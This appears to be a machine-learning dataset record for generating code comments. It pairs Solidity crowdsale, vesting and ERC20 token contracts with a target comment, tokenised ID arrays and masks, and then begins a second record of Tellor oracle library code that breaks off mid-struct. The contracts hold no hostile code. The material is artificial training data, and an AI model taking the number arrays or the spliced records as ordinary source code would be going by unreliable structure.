returns(bool) { require (token == address(0)); token = _token; return true; } // @notice set the product completion date for release of dev tokens function setProductCompletionDate() external onlyOwner() { dateProductCompleted = now; } // @notice to release tokens of the team according to vesting schedule // @param _recipient {address} of the recipient of token transfer // @param _tokensToTransfer {uint} amount of tokens to transfer function transferTeamTokens(address _recipient, uint _tokensToTransfer) external onlyOwner() { require(_recipient != 0); require(now >= 1533081600); // before Aug 1, 2018 00:00 GMT don't allow on distribution tokens to the team. require(dateProductCompleted > 0); if (now < dateProductCompleted + 1 years) // first year after product release require(teamTokensCurrent.add(_tokensToTransfer) <= (teamTokensInitial * 30) / 100); else if (now < dateProductCompleted + 2 years) // second year after product release require(teamTokensCurrent.add(_tokensToTransfer) <= (teamTokensInitial * 60) / 100); else if (now < dateProductCompleted + 3 years) // third year after product release require(teamTokensCurrent.add(_tokensToTransfer) <= (teamTokensInitial * 80) / 100); else // fourth year after product release require(teamTokensCurrent.add(_tokensToTransfer) <= teamTokensInitial); teamTokensCurrent = teamTokensCurrent.add(_tokensToTransfer); // update released token amount if (!token.transfer(_recipient, _tokensToTransfer)) revert(); LogTeamTokensTransferred(_recipient, _tokensToTransfer); } // @notice to release tokens of the company according to vesting schedule // @param _recipient {address} of the recipient of token transfer // @param _tokensToTransfer {uint} amount of tokens to transfer function transferCompanyTokens(address _recipient, uint _tokensToTransfer) external onlyOwner() { require(_recipient != 0); require(dateICOEnded > 0); if (now < dateICOEnded + 1 years) // first year require(companyTokensCurrent.add(_tokensToTransfer) <= (companyTokensInitial * 50) / 100); else if (now < dateICOEnded + 2 years) // second year require(companyTokensCurrent.add(_tokensToTransfer) <= (companyTokensInitial * 75) / 100); else // third year require(companyTokensCurrent.add(_tokensToTransfer) <= companyTokensInitial); companyTokensCurrent = companyTokensCurrent.add(_tokensToTransfer); // update released token amount if (!token.transfer(_recipient, _tokensToTransfer)) revert(); LogCompanyTokensTransferred(_recipient, _tokensToTransfer); } } // Presale Smart Contract // This smart contract collects ETH and in return sends tokens to the backers. contract CrowdSale is Pausable, Vesting { using SafeMath for uint; struct Backer { uint weiReceivedOne; // amount of ETH contributed during first presale uint weiReceivedTwo; // amount of ETH contributed during second presale uint weiReceivedMain; // amount of ETH contributed during main sale uint tokensSent; // amount of tokens sent bool claimed; bool refunded; } address public multisig; // Multisig contract that will receive the ETH uint public ethReceivedPresaleOne; // Amount of ETH received in presale one uint public ethReceivedPresaleTwo; // Amount of ETH received in presale two uint public ethReceiveMainSale; // Amount of ETH received in main sale uint public totalTokensSold; // Number of tokens sold to contributors in all campaigns uint public startBlock; // Presale start block uint public endBlock; // Presale end block uint public minInvestment; // Minimum amount to invest WhiteList public whiteList; // whitelist contract uint public dollarPerEtherRatio; // dollar to ether ratio set at the beginning of main sale uint public returnPercentage; // percentage to be returned from first presale in case campaign is cancelled Step public currentStep; // to move through campaigns and set default values uint public minCapTokens; // minimum amount of tokens to raise for campaign to be successful mapping(address => Backer) public backers; //backer list address[] public backersIndex; // to be able to iterate through backer list uint public maxCapEth; // max cap eth uint public maxCapTokens; // max cap tokens uint public claimCount; // number of contributors claiming tokens uint public refundCount; // number of contributors receiving refunds uint public totalClaimed; // total of tokens claimed uint public totalRefunded; // total of tokens refunded mapping(address => uint) public claimed; // tokens claimed by contributors mapping(address => uint) public refunded; // tokens refunded to contributors // @notice to set and determine steps of crowdsale enum Step { FundingPresaleOne, // presale 1 mode FundingPresaleTwo, // presale 2 mode FundingMainSale, // main ICO Refunding // refunding } // @notice to verify if action is not performed out of the campaign range modifier respectTimeFrame() { if ((block.number < startBlock) || (block.number > endBlock)) revert(); _; } // Events event ReceivedETH(address indexed backer, Step indexed step, uint amount); event TokensClaimed(address indexed backer, uint count); event Refunded(address indexed backer, uint amount); // CrowdFunding {constructor} // @notice fired when contract is crated. Initializes all needed variables for presale 1. function CrowdSale(WhiteList _whiteList, address _multisig) public { require(_whiteList != address(0x0)); multisig = _multisig; minInvestment = 10 ether; maxCapEth = 9000 ether; startBlock = 0; // Starting block of the campaign endBlock = 0; // Ending block of the campaign currentStep = Step.FundingPresaleOne; // initialize to first presale whiteList = _whiteList; // address of white list contract minCapTokens = 6.5e24; // 10% of maxCapTokens } // @notice return number of contributors for all campaigns // @return {uint} number of contributors in each campaign and total number function numberOfBackers() public view returns(uint, uint, uint, uint) { uint numOfBackersOne; uint numOfBackersTwo; uint numOfBackersMain; for (uint i = 0; i < backersIndex.length; i++) { Backer storage backer = backers[backersIndex[i]]; if (backer.weiReceivedOne > 0) numOfBackersOne ++; if (backer.weiReceivedTwo > 0) numOfBackersTwo ++; if (backer.weiReceivedMain > 0) numOfBackersMain ++; } return ( numOfBackersOne, numOfBackersTwo, numOfBackersMain, backersIndex.length); } // @notice advances the step of campaign to presale 2 // contract is deployed in presale 1 mode function setPresaleTwo() public onlyOwner() { currentStep = Step.FundingPresaleTwo; maxCapEth = 60000 ether; minInvestment = 5 ether; } // @notice advances step of campaign to main sale // @param _ratio - it will be amount of dollars for one ether with two decimals. // two decimals will be passed as next sets of digits. eg. $300.25 will be passed as 30025 function setMainSale(uint _ratio) public onlyOwner() { require(_ratio > 0); currentStep = Step.FundingMainSale; dollarPerEtherRatio = _ratio; maxCapTokens = 65e24; minInvestment = 1 ether / 5; // 0.2 eth totalTokensSold = (dollarPerEtherRatio * ethReceivedPresaleOne) / 48; // determine amount of tokens to send from first presale totalTokensSold += (dollarPerEtherRatio * ethReceivedPresaleTwo) / 58; // determine amount of tokens to send from second presale and total it. } // @notice to populate website with status of the sale function returnWebsiteData() external view returns(uint, uint, uint, uint, uint, uint, uint, uint, bool) { return (startBlock, endBlock, backersIndex.length, ethReceivedPresaleOne, ethReceivedPresaleTwo, ethReceiveMainSale, maxCapTokens, minInvestment, stopped); } // {fallback function} // @notice It will call internal function which handles allocation of Ether and calculates tokens. function () public payable { contribute(msg.sender); } // @notice in case refunds are needed, money can be returned to the contract // @param _returnPercentage {uint} percentage of return in respect to first presale. e.g 75% would be passed as 75 function fundContract(uint _returnPercentage) external payable onlyOwner() { require(_returnPercentage > 0); require(msg.value == (ethReceivedPresaleOne.mul(_returnPercentage) / 100) + ethReceivedPresaleTwo + ethReceiveMainSale); returnPercentage = _returnPercentage; currentStep = Step.Refunding; } // @notice It will be called by owner to start the sale // block numbers will be calculated based on current block time average. function start() external onlyOwner() { startBlock = block.number; endBlock = startBlock + 383904; // 4.3*60*24*62 days } // @notice Due to changing average of block time // this function will allow on adjusting duration of campaign closer to the end // allow adjusting campaign length to 70 days, equivalent of 433440 blocks at 4.3 blocks per minute // @param _block number of blocks representing duration function adjustDuration(uint _block) external onlyOwner() { require(_block <= 433440); // 4.3×60×24×70 days require(_block > block.number.sub(startBlock)); // ensure that endBlock is not set in the past endBlock = startBlock.add(_block); } // @notice It will be called by fallback function whenever ether is sent to it // @param _contributor {address} address of contributor // @return res {bool} true if transaction was successful function contribute(address _contributor) internal stopInEmergency respectTimeFrame returns(bool res) { require(whiteList.isWhiteListed(_contributor)); // ensure that user is whitelisted Backer storage backer = backers[_contributor]; require (msg.value >= minInvestment); // ensure that min contributions amount is met if (backer.weiReceivedOne == 0 && backer.weiReceivedTwo == 0 && backer.weiReceivedMain == 0) backersIndex.push(_contributor); if (currentStep == Step.FundingPresaleOne) { backer.weiReceivedOne = backer.weiReceivedOne.add(msg.value); ethReceivedPresaleOne = ethReceivedPresaleOne.add(msg.value); // Update the total Ether received in presale 1 require(ethReceivedPresaleOne <= maxCapEth); // ensure that max cap hasn't been reached }else if (currentStep == Step.FundingPresaleTwo) { backer.weiReceivedTwo = backer.weiReceivedTwo.add(msg.value); ethReceivedPresaleTwo = ethReceivedPresaleTwo.add(msg.value); // Update the total Ether received in presale 2 require(ethReceivedPresaleOne + ethReceivedPresaleTwo <= maxCapEth); // ensure that max cap hasn't been reached }else if (currentStep == Step.FundingMainSale) { backer.weiReceivedMain = backer.weiReceivedMain.add(msg.value); ethReceiveMainSale = ethReceiveMainSale.add(msg.value); // Update the total Ether received in presale 2 uint tokensToSend = dollarPerEtherRatio.mul(msg.value) / 62; // calculate amount of tokens to send for this user totalTokensSold += tokensToSend; require(totalTokensSold <= maxCapTokens); // ensure that max cap hasn't been reached } multisig.transfer(msg.value); // send money to multisignature wallet ReceivedETH(_contributor, currentStep, msg.value); // Register event return true; } // @notice This function will finalize the sale. // It will only execute if predetermined sale time passed or all tokens were sold function finalizeSale() external onlyOwner() { require(dateICOEnded == 0); require(currentStep == Step.FundingMainSale); // purchasing precise number of tokens might be impractical, thus subtract 1000 tokens so finalization is possible // near the end require(block.number >= endBlock || totalTokensSold >= maxCapTokens.sub(1000)); require(totalTokensSold >= minCapTokens); companyTokensInitial += maxCapTokens - totalTokensSold; // allocate unsold tokens to the company dateICOEnded = now; token.unlock(); } // @notice this function can be used by owner to update contribution address in case of using address from exchange or incompatible wallet // @param _contributorOld - old contributor address // @param _contributorNew - new contributor address function updateContributorAddress(address _contributorOld, address _contributorNew) public onlyOwner() { Backer storage backerOld = backers[_contributorOld]; Backer storage backerNew = backers[_contributorNew]; require(backerOld.weiReceivedOne > 0 || backerOld.weiReceivedTwo > 0 || backerOld.weiReceivedMain > 0); // make sure that contribution has been made to the old address require(backerNew.weiReceivedOne == 0 && backerNew.weiReceivedTwo == 0 && backerNew.weiReceivedMain == 0); // make sure that existing address is not used require(backerOld.claimed == false && backerOld.refunded == false); // ensure that contributor hasn't be refunded or claimed the tokens yet // invalidate old address backerOld.claimed = true; backerOld.refunded = true; // initialize new address backerNew.weiReceivedOne = backerOld.weiReceivedOne; backerNew.weiReceivedTwo = backerOld.weiReceivedTwo; backerNew.weiReceivedMain = backerOld.weiReceivedMain; backersIndex.push(_contributorNew); } // @notice called to send tokens to contributors after ICO. // @param _backer {address} address of beneficiary // @return true if successful function claimTokensForUser(address _backer) internal returns(bool) { require(dateICOEnded > 0); // allow on claiming of tokens if ICO was successful Backer storage backer = backers[_backer]; require (!backer.refunded); // if refunded, don't allow to claim tokens require (!backer.claimed); // if tokens claimed, don't allow to claim again require (backer.weiReceivedOne > 0 || backer.weiReceivedTwo > 0 || backer.weiReceivedMain > 0); // only continue if there is any contribution claimCount++; uint tokensToSend = (dollarPerEtherRatio * backer.weiReceivedOne) / 48; // determine amount of tokens to send from first presale tokensToSend = tokensToSend + (dollarPerEtherRatio * backer.weiReceivedTwo) / 58; // determine amount of tokens to send from second presale tokensToSend = tokensToSend + (dollarPerEtherRatio * backer.weiReceivedMain) / 62; // determine amount of tokens to send from main sale claimed[_backer] = tokensToSend; // save claimed tokens backer.claimed = true; backer.tokensSent = tokensToSend; totalClaimed += tokensToSend; if (!token.transfer(_backer, tokensToSend)) revert(); // send claimed tokens to contributor account TokensClaimed(_backer,tokensToSend); return true; } // @notice contributors can claim tokens after public ICO is finished // tokens are only claimable when token address is available. function claimTokens() external { claimTokensForUser(msg.sender); } // @notice this function can be called by admin to claim user's token in case of difficulties // @param _backer {address} user address to claim tokens for function adminClaimTokenForUser(address _backer) external onlyOwner() { claimTokensForUser(_backer); } // @notice allow refund when ICO failed // In such a case contract will need to be funded. // Until contract is funded this function will throw function refund() external { require(currentStep == Step.Refunding); require(totalTokensSold < maxCapTokens/2); // ensure that refund is impossible when more than half of the tokens are sold Backer storage backer = backers[msg.sender]; require (!backer.claimed); // check if tokens have been allocated already require (!backer.refunded); // check if user has been already refunded uint totalEtherReceived = ((backer.weiReceivedOne * returnPercentage) / 100) + backer.weiReceivedTwo + backer.weiReceivedMain; // return only e.g. 75% from presale one. assert(totalEtherReceived > 0); backer.refunded = true; // mark contributor as refunded. totalRefunded += totalEtherReceived; refundCount ++; refunded[msg.sender] = totalRefunded; msg.sender.transfer(totalEtherReceived); // refund contribution Refunded(msg.sender, totalEtherReceived); // log event } // @notice refund non compliant member // @param _contributor {address} of refunded contributor function refundNonCompliant(address _contributor) payable external onlyOwner() { Backer storage backer = backers[_contributor]; require (!backer.claimed); // check if tokens have been allocated already require (!backer.refunded); // check if user has been already refunded backer.refunded = true; // mark contributor as refunded. uint totalEtherReceived = backer.weiReceivedOne + backer.weiReceivedTwo + backer.weiReceivedMain; require(msg.value == totalEtherReceived); // ensure that exact amount is sent assert(totalEtherReceived > 0); //adjust amounts received ethReceivedPresaleOne -= backer.weiReceivedOne; ethReceivedPresaleTwo -= backer.weiReceivedTwo; ethReceiveMainSale -= backer.weiReceivedMain; totalRefunded += totalEtherReceived; refundCount ++; refunded[_contributor] = totalRefunded; uint tokensToSend = (dollarPerEtherRatio * backer.weiReceivedOne) / 48; // determine amount of tokens to send from first presale tokensToSend = tokensToSend + (dollarPerEtherRatio * backer.weiReceivedTwo) / 58; // determine amount of tokens to send from second presale tokensToSend = tokensToSend + (dollarPerEtherRatio * backer.weiReceivedMain) / 62; // determine amount of tokens to send from main sale if(dateICOEnded == 0) { totalTokensSold -= tokensToSend; } else { companyTokensInitial += tokensToSend; } _contributor.transfer(totalEtherReceived); // refund contribution Refunded(_contributor, totalEtherReceived); // log event } // @notice Failsafe drain to individual wallet function drain() external onlyOwner() { multisig.transfer(this.balance); } // @notice Failsafe token transfer function tokenDrain() external onlyOwner() { if (block.number > endBlock) { if (!token.transfer(multisig, token.balanceOf(this))) revert(); } } } // @notice The token contract contract Token is ERC20, Ownable { using SafeMath for uint; // Public variables of the token string public name; string public symbol; uint8 public decimals; // How many decimals to show. string public version = "v0.1"; uint public totalSupply; uint public initialSupply; bool public locked; address public crowdSaleAddress; address public migrationMaster; address public migrationAgent; uint256 public totalMigrated; address public authorized; mapping(address => uint) public balances; mapping(address => mapping(address => uint)) public allowed; // @notice tokens are locked during the ICO. Allow transfer of tokens after ICO. modifier onlyUnlocked() { if (msg.sender != crowdSaleAddress && locked) revert(); _; } // @Notice allow minting of tokens only by authorized users modifier onlyAuthorized() { if (msg.sender != owner && msg.sender != authorized ) revert(); _; } // @notice The Token constructor // @param _crowdSaleAddress {address} address of crowdsale contract // @param _migrationMaster {address} address of authorized migration person function Token(address _crowdSaleAddress) public { require(_crowdSaleAddress != 0); locked = true; // Lock the transfer function during the crowdsale initialSupply = 1e26; totalSupply = initialSupply; name = "Narrative"; // Set the name for display purposes symbol = "NRV"; // Set the symbol for display purposes decimals = 18; // Amount of decimals for display purposes crowdSaleAddress = _crowdSaleAddress; balances[crowdSaleAddress] = initialSupply; migrationMaster = owner; authorized = _crowdSaleAddress; } // @notice unlock tokens for trading function unlock() public onlyAuthorized { locked = false; } // @notice lock tokens in case of problems function lock() public onlyAuthorized { locked = true; } // @notice set authorized party // @param _authorized {address} of an individual to get authorization function setAuthorized(address _authorized) public onlyOwner { authorized = _authorized; } // Token migration support: as implemented by Golem event Migrate(address indexed _from, address indexed _to, uint256 _value); /// @notice Migrate tokens to the new token contract. /// @dev Required state: Operational Migration /// @param _value The amount of token to be migrated function migrate(uint256 _value) external { // Abort if not in Operational Migration state. require (migrationAgent != 0); require(_value > 0); balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); totalMigrated = totalMigrated.add(_value); MigrationAgent(migrationAgent).migrateFrom(msg.sender, _value); Migrate(msg.sender, migrationAgent, _value); } /// @notice Set address of migration target contract and enable migration /// process. /// @dev Required state: Operational Normal /// @dev State transition: -> Operational Migration /// @param _agent The address of the MigrationAgent contract function setMigrationAgent(address _agent) external { // Abort if not in Operational Normal state. require(migrationAgent == 0); require(msg.sender == migrationMaster); migrationAgent = _agent; } function setMigrationMaster(address _master) external { require(msg.sender == migrationMaster); require(_master != 0); migrationMaster = _master; } // @notice mint new tokens with max of 197.5 millions // @param _target {address} of receipt // @param _mintedAmount {uint} amount of tokens to be minted // @return {bool} true if successful function mint(address _target, uint256 _mintedAmount) public onlyAuthorized() returns(bool) { assert(totalSupply.add(_mintedAmount) <= 1975e23); // ensure that max amount ever minted should not exceed 197.5 million tokens with 18 decimals balances[_target] = balances[_target].add(_mintedAmount); totalSupply = totalSupply.add(_mintedAmount); Transfer(0, _target, _mintedAmount); return true; } // @notice transfer tokens to given address // @param _to {address} address or recipient // @param _value {uint} amount to transfer // @return {bool} true if successful function transfer(address _to, uint _value) public onlyUnlocked returns(bool) { require(_to != address(0)); require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } // @notice transfer tokens from given address to another address // @param _from {address} from whom tokens are transferred // @param _to {address} to whom tokens are transferred // @param _value {uint} amount of tokens to transfer // @return {bool} true if successful function transferFrom(address _from, address _to, uint256 _value) public onlyUnlocked returns(bool success) { require(_to != address(0)); require(balances[_from] >= _value); // Check if the sender has enough require(_value <= allowed[_from][msg.sender]); // Check if allowed is greater or equal balances[_from] -= _value; // Subtract from the sender balances[_to] += _value; // Add the same to the recipient allowed[_from][msg.sender] -= _value; // adjust allowed Transfer(_from, _to, _value); return true; } // @notice to query balance of account // @return _owner {address} address of user to query balance function balanceOf(address _owner) public view returns(uint balance) { return balances[_owner]; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) public returns(bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } // @notice to query of allowance of one user to the other // @param _owner {address} of the owner of the account // @param _spender {address} of the spender of the account // @return remaining {uint} amount of remaining allowance function allowance(address _owner, address _spender) public view returns(uint remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
Amount of ETH received in presale one
uint public ethReceivedPresaleOne;
6,445,403
[ 1, 6275, 434, 512, 2455, 5079, 316, 4075, 5349, 1245, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 1071, 13750, 8872, 12236, 5349, 3335, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.16; /** * @title Tellor Transfer * @dev Contains the methods related to transfers and ERC20. Tellor.sol and TellorGetters.sol * reference this library for function's logic. */ library RefTellorTransfer { using RefSafeMath for uint256; event Approval(address indexed _owner, address indexed _spender, uint256 _value); //ERC20 Approval event event Transfer(address indexed _from, address indexed _to, uint256 _value); //ERC20 Transfer Event /*Functions*/ /** * @dev Allows for a transfer of tokens to _to * @param _to The address to send tokens to * @param _amount The amount of tokens to send * @return true if transfer is successful */ function transfer(RefTellorStorage.TellorStorageStruct storage self, address _to, uint256 _amount) public returns (bool success) { doTransfer(self, msg.sender, _to, _amount); return true; } /** * @notice Send _amount tokens to _to from _from on the condition it * is approved by _from * @param _from The address holding the tokens being transferred * @param _to The address of the recipient * @param _amount The amount of tokens to be transferred * @return True if the transfer was successful */ function transferFrom(RefTellorStorage.TellorStorageStruct storage self, address _from, address _to, uint256 _amount) public returns (bool success) { require(self.allowed[_from][msg.sender] >= _amount, "Allowance is wrong"); self.allowed[_from][msg.sender] -= _amount; doTransfer(self, _from, _to, _amount); return true; } /** * @dev This function approves a _spender an _amount of tokens to use * @param _spender address * @param _amount amount the spender is being approved for * @return true if spender appproved successfully */ function approve(RefTellorStorage.TellorStorageStruct storage self, address _spender, uint256 _amount) public returns (bool) { require(_spender != address(0), "Spender is 0-address"); require(self.allowed[msg.sender][_spender] == 0 || _amount == 0, "Spender is already approved"); self.allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } /** * @param _user address of party with the balance * @param _spender address of spender of parties said balance * @return Returns the remaining allowance of tokens granted to the _spender from the _user */ function allowance(RefTellorStorage.TellorStorageStruct storage self, address _user, address _spender) public view returns (uint256) { return self.allowed[_user][_spender]; } /** * @dev Completes POWO transfers by updating the balances on the current block number * @param _from address to transfer from * @param _to addres to transfer to * @param _amount to transfer */ function doTransfer(RefTellorStorage.TellorStorageStruct storage self, address _from, address _to, uint256 _amount) public { //require(_amount != 0, "Tried to send non-positive amount"); //require(_to != address(0), "Receiver is 0 address"); require(allowedToTrade(self, _from, _amount), "Should have sufficient balance to trade"); uint256 previousBalance = balanceOf(self, _from); updateBalanceAtNow(self.balances[_from], previousBalance - _amount); previousBalance = balanceOf(self,_to); require(previousBalance + _amount >= previousBalance, "Overflow happened"); // Check for overflow updateBalanceAtNow(self.balances[_to], previousBalance + _amount); emit Transfer(_from, _to, _amount); } /** * @dev Gets balance of owner specified * @param _user is the owner address used to look up the balance * @return Returns the balance associated with the passed in _user */ function balanceOf(RefTellorStorage.TellorStorageStruct storage self, address _user) public view returns (uint256) { return balanceOfAt(self, _user, block.number); } /** * @dev Queries the balance of _user at a specific _blockNumber * @param _user The address from which the balance will be retrieved * @param _blockNumber The block number when the balance is queried * @return The balance at _blockNumber specified */ function balanceOfAt(RefTellorStorage.TellorStorageStruct storage self, address _user, uint256 _blockNumber) public view returns (uint256) { RefTellorStorage.Checkpoint[] storage checkpoints = self.balances[_user]; if (checkpoints.length == 0|| checkpoints[0].fromBlock > _blockNumber) { return 0; } else { if (_blockNumber >= checkpoints[checkpoints.length - 1].fromBlock) return checkpoints[checkpoints.length - 1].value; // Binary search of the value in the array uint256 min = 0; uint256 max = checkpoints.length - 2; while (max > min) { uint256 mid = (max + min + 1) / 2; if (checkpoints[mid].fromBlock ==_blockNumber){ return checkpoints[mid].value; }else if(checkpoints[mid].fromBlock < _blockNumber) { min = mid; } else { max = mid - 1; } } return checkpoints[min].value; } } /** * @dev This function returns whether or not a given user is allowed to trade a given amount * and removing the staked amount from their balance if they are staked * @param _user address of user * @param _amount to check if the user can spend * @return true if they are allowed to spend the amount being checked */ function allowedToTrade(RefTellorStorage.TellorStorageStruct storage self, address _user, uint256 _amount) public view returns (bool) { if (self.stakerDetails[_user].currentStatus != 0 && self.stakerDetails[_user].currentStatus < 5) { //Subtracts the stakeAmount from balance if the _user is staked if (balanceOf(self, _user)- self.uintVars[keccak256("stakeAmount")] >= _amount) { return true; } return false; } return (balanceOf(self, _user) >= _amount); } /** * @dev Updates balance for from and to on the current block number via doTransfer * @param checkpoints gets the mapping for the balances[owner] * @param _value is the new balance */ function updateBalanceAtNow(RefTellorStorage.Checkpoint[] storage checkpoints, uint256 _value) public { if (checkpoints.length == 0 || checkpoints[checkpoints.length - 1].fromBlock != block.number) { checkpoints.push(RefTellorStorage.Checkpoint({ fromBlock : uint128(block.number), value : uint128(_value) })); } else { RefTellorStorage.Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length - 1]; oldCheckPoint.value = uint128(_value); } } } /** * itle Tellor Stake * @dev Contains the methods related to miners staking and unstaking. Tellor.sol * references this library for function's logic. */ library RefTellorStake { event NewStake(address indexed _sender); //Emits upon new staker event StakeWithdrawn(address indexed _sender); //Emits when a staker is now no longer staked event StakeWithdrawRequested(address indexed _sender); //Emits when a staker begins the 7 day withdraw period /*Functions*/ /** * @dev Getter function for the top 5 requests with highest payouts. This function is used within the getNewVariablesOnDeck function * @return uint256[5] is an array with the top 5(highest payout) _requestIds at the time the function is called */ function getTopRequestIDs(RefTellorStorage.TellorStorageStruct storage self) internal view returns (uint256[5] memory _requestIds) { uint256[5] memory _max; uint256[5] memory _index; (_max, _index) = RefUtilities.getMax5(self.requestQ); for(uint i=0;i<5;i++){ if(_max[i] != 0){ _requestIds[i] = self.requestIdByRequestQIndex[_index[i]]; } else{ _requestIds[i] = self.currentMiners[4-i].value; } } } } pragma solidity ^0.5.16; //Slightly modified SafeMath library - includes a min and max function, removes useless div function library RefSafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function add(int256 a, int256 b) internal pure returns (int256 c) { if (b > 0) { c = a + b; assert(c >= a); } else { c = a + b; assert(c <= a); } } function max(uint256 a, uint256 b) internal pure returns (uint256) { return a > b ? a : b; } function max(int256 a, int256 b) internal pure returns (uint256) { return a > b ? uint256(a) : uint256(b); } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function sub(int256 a, int256 b) internal pure returns (int256 c) { if (b > 0) { c = a - b; assert(c <= a); } else { c = a - b; assert(c >= a); } } } pragma solidity ^0.5.0; /** * @title Tellor Oracle Storage Library * @dev Contains all the variables/structs used by Tellor */ library RefTellorStorage { //Internal struct for use in proof-of-work submission struct Details { uint256 value; address miner; } struct Dispute { bytes32 hash; //unique hash of dispute: keccak256(_miner,_requestId,_timestamp) int256 tally; //current tally of votes for - against measure bool executed; //is the dispute settled bool disputeVotePassed; //did the vote pass? bool isPropFork; //true for fork proposal NEW address reportedMiner; //miner who alledgedly submitted the 'bad value' will get disputeFee if dispute vote fails address reportingParty; //miner reporting the 'bad value'-pay disputeFee will get reportedMiner's stake if dispute vote passes address proposedForkAddress; //new fork address (if fork proposal) mapping(bytes32 => uint256) disputeUintVars; //Each of the variables below is saved in the mapping disputeUintVars for each disputeID //e.g. TellorStorageStruct.DisputeById[disputeID].disputeUintVars[keccak256("requestId")] //These are the variables saved in this mapping: // uint keccak256("requestId");//apiID of disputed value // uint keccak256("timestamp");//timestamp of distputed value // uint keccak256("value"); //the value being disputed // uint keccak256("minExecutionDate");//7 days from when dispute initialized // uint keccak256("numberOfVotes");//the number of parties who have voted on the measure // uint keccak256("blockNumber");// the blocknumber for which votes will be calculated from // uint keccak256("minerSlot"); //index in dispute array // uint keccak256("fee"); //fee paid corresponding to dispute mapping(address => bool) voted; //mapping of address to whether or not they voted } struct StakeInfo { uint256 currentStatus; //0-not Staked, 1=Staked, 2=LockedForWithdraw 3= OnDispute 4=ReadyForUnlocking 5=Unlocked uint256 startDate; //stake start date } //Internal struct to allow balances to be queried by blocknumber for voting purposes struct Checkpoint { uint128 fromBlock; // fromBlock is the block number that the value was generated from uint128 value; // value is the 